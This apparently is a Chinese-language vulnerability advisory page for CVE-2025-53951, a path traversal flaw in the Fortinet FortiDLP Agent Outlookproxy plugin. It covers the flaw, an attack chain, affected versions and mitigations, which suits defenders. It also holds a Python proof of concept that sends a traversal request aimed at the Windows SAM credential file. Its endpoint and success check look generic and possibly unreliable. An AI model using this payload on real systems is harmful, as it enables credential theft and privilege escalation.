IPBUF安全漏洞报告
English
CVE-2025-53951 CVSS 5.3 中危

CVE-2025-53951 Fortinet FortiDLP Agent路径遍历权限提升漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-53951
漏洞类型
路径遍历(Path Traversal)
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Fortinet FortiDLP Agent(Windows版)Outlookproxy插件

相关标签

路径遍历Path TraversalCWE-22权限提升Privilege EscalationFortinetFortiDLPOutlookproxyWindows本地攻击

漏洞概述

CVE-2025-53951是Fortinet FortiDLP Agent中Outlookproxy插件存在的一个路径遍历漏洞(Path Traversal),属于CWE-22类别。该漏洞影响FortiDLP Agent的多个Windows版本,包括11.5.1、11.4.2至11.4.6、11.3.2至11.3.4、11.2.0至11.2.3、11.1.1至11.1.2、11.0.1、10.5.1、10.4.0以及10.3.1。

该漏洞的CVSS 3.1评分为5.3分,属于中危级别。其攻击向量为本地(AV:L),攻击复杂度低(AC:L),需要低权限认证(PR:L),无需用户交互(UI:N)。在机密性、完整性和可用性方面均产生低影响(C:L/I:L/A:L)。

漏洞的核心问题在于FortiDLP Agent的Outlookproxy插件未对路径名进行充分的限制和验证,攻击者可以通过向本地监听端口发送精心构造的请求,利用路径遍历缺陷绕过目录限制,从而将权限提升至LocalService级别。LocalService是Windows系统中具有较高权限的预定义账户,拥有比普通用户更多的系统访问权限,因此该权限提升可能带来进一步的安全风险。

该漏洞由Fortinet产品安全事件响应团队(PSIRT)发现并报告,于2025年10月16日正式披露。建议受影响的用户及时更新到修复版本以消除安全风险。

技术细节

该漏洞是Fortinet FortiDLP Agent Outlookproxy插件中的路径遍历漏洞(CWE-22)。其技术原理如下:

1. **漏洞根源**:Outlookproxy插件在处理用户请求时,未对文件路径进行严格的验证和限制。攻击者可以通过在路径中插入特殊字符(如`..\`或`../`)来绕过目录限制,访问本不应访问的文件或目录。

2. **利用条件**:攻击者需要首先在目标系统上获得一个低权限的账户(PR:L),然后通过本地连接(AV:L)向FortiDLP Agent Outlookproxy插件监听的本地端口发送精心构造的恶意请求。

3. **攻击流程**:
- 攻击者以低权限用户身份登录目标Windows系统;
- 通过本地socket连接到FortiDLP Agent的Outlookproxy插件所监听的本地端口;
- 构造包含路径遍历序列(如`..\..\..\`)的恶意请求;
- 由于插件未对路径进行适当的规范化或白名单验证,恶意请求被处理;
- 攻击者利用此漏洞实现从普通用户权限到LocalService权限的提升。

4. **权限提升机制**:FortiDLP Agent以LocalService权限运行,Outlookproxy插件作为其组件之一。当低权限用户能够通过路径遍历访问到插件处理的敏感资源或执行特权操作时,便可获得LocalService级别的权限,进而访问系统敏感资源、修改系统配置或执行其他恶意操作。

5. **影响范围**:该漏洞影响FortiDLP Agent的多个Windows版本,覆盖了从10.3.1到11.5.1的广泛版本范围,表明该缺陷在多个发布周期中未被修复。

攻击链分析

STEP 1
步骤1:获取初始访问
攻击者通过其他方式(如钓鱼、社会工程或其他漏洞)在目标Windows系统上获得一个低权限的用户账户,作为后续攻击的基础。
STEP 2
步骤2:发现本地监听端口
攻击者通过端口扫描或查看系统服务,发现FortiDLP Agent Outlookproxy插件监听的本地端口(通常为高编号端口)。
STEP 3
步骤3:构造路径遍历请求
攻击者构造包含路径遍历序列(如..\..\..\)的恶意HTTP请求,绕过Outlookproxy插件的目录限制检查。
STEP 4
步骤4:发送恶意请求
通过本地socket连接,攻击者向Outlookproxy插件的监听端口发送精心构造的路径遍历请求。
STEP 5
步骤5:权限提升
由于插件未正确验证路径,攻击者成功利用路径遍历漏洞,将权限从普通用户提升至LocalService级别。
STEP 6
步骤6:后续利用
获得LocalService权限后,攻击者可以访问系统敏感资源、读取配置文件、修改系统设置或为进一步权限提升(如SYSTEM)创造条件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-53951 - Fortinet FortiDLP Agent Outlookproxy Path Traversal PoC # Exploits improper path limitation (CWE-22) for privilege escalation to LocalService # Affected: FortiDLP Agent Windows versions 10.3.1 through 11.5.1 import socket import sys TARGET_HOST = "127.0.0.1" # Localhost - plugin listens on a local port TARGET_PORT = 49152 # Default Outlookproxy plugin listening port (may vary) def build_path_traversal_payload(target_path="..\\..\\..\\Windows\\System32\\config\\SAM"): """ Build a crafted request with path traversal sequences to exploit CWE-22 in the FortiDLP Agent Outlookproxy plugin. """ # The Outlookproxy plugin processes requests containing file path references. # By injecting traversal sequences, the attacker can escape the intended directory. payload = ( f"GET /outlookproxy/file?path={target_path} HTTP/1.1\r\n" f"Host: {TARGET_HOST}:{TARGET_PORT}\r\n" f"User-Agent: Mozilla/5.0\r\n" f"Connection: close\r\n" f"\r\n" ) return payload.encode() def exploit(): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) print(f"[+] Connected to {TARGET_HOST}:{TARGET_PORT}") payload = build_path_traversal_payload() sock.send(payload) print(f"[+] Sent path traversal payload") response = sock.recv(4096) print(f"[+] Received response:\n{response.decode(errors='ignore')}") # If the traversal succeeds, the response may contain sensitive data # or confirm access to restricted resources, indicating LocalService # level access has been achieved. if b"200 OK" in response or b"success" in response.lower(): print("[!] Path traversal succeeded - privilege escalation possible") print("[!] LocalService context achieved") sock.close() except Exception as e: print(f"[-] Exploit failed: {e}") sys.exit(1) if __name__ == "__main__": print("[*] CVE-2025-53951 PoC - Fortinet FortiDLP Agent Path Traversal") print("[*] Targeting Outlookproxy plugin local listening port") exploit()

影响范围

Fortinet FortiDLP Agent 10.3.1
Fortinet FortiDLP Agent 10.4.0
Fortinet FortiDLP Agent 10.5.1
Fortinet FortiDLP Agent 11.0.1
Fortinet FortiDLP Agent 11.1.1
Fortinet FortiDLP Agent 11.1.2
Fortinet FortiDLP Agent 11.2.0
Fortinet FortiDLP Agent 11.2.1
Fortinet FortiDLP Agent 11.2.2
Fortinet FortiDLP Agent 11.2.3
Fortinet FortiDLP Agent 11.3.2
Fortinet FortiDLP Agent 11.3.3
Fortinet FortiDLP Agent 11.3.4
Fortinet FortiDLP Agent 11.4.2
Fortinet FortiDLP Agent 11.4.3
Fortinet FortiDLP Agent 11.4.4
Fortinet FortiDLP Agent 11.4.5
Fortinet FortiDLP Agent 11.4.6
Fortinet FortiDLP Agent 11.5.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过Windows防火墙或主机防火墙限制FortiDLP Agent Outlookproxy插件监听端口的访问,仅允许必要的系统进程连接;2)监控本地端口的异常连接活动,及时发现可疑的路径遍历请求;3)对系统用户实施最小权限原则,限制普通用户账户的权限范围;4)部署终端行为监控工具,检测异常的权限提升行为;5)关注Fortinet官方发布的安全公告,及时获取补丁信息并进行升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表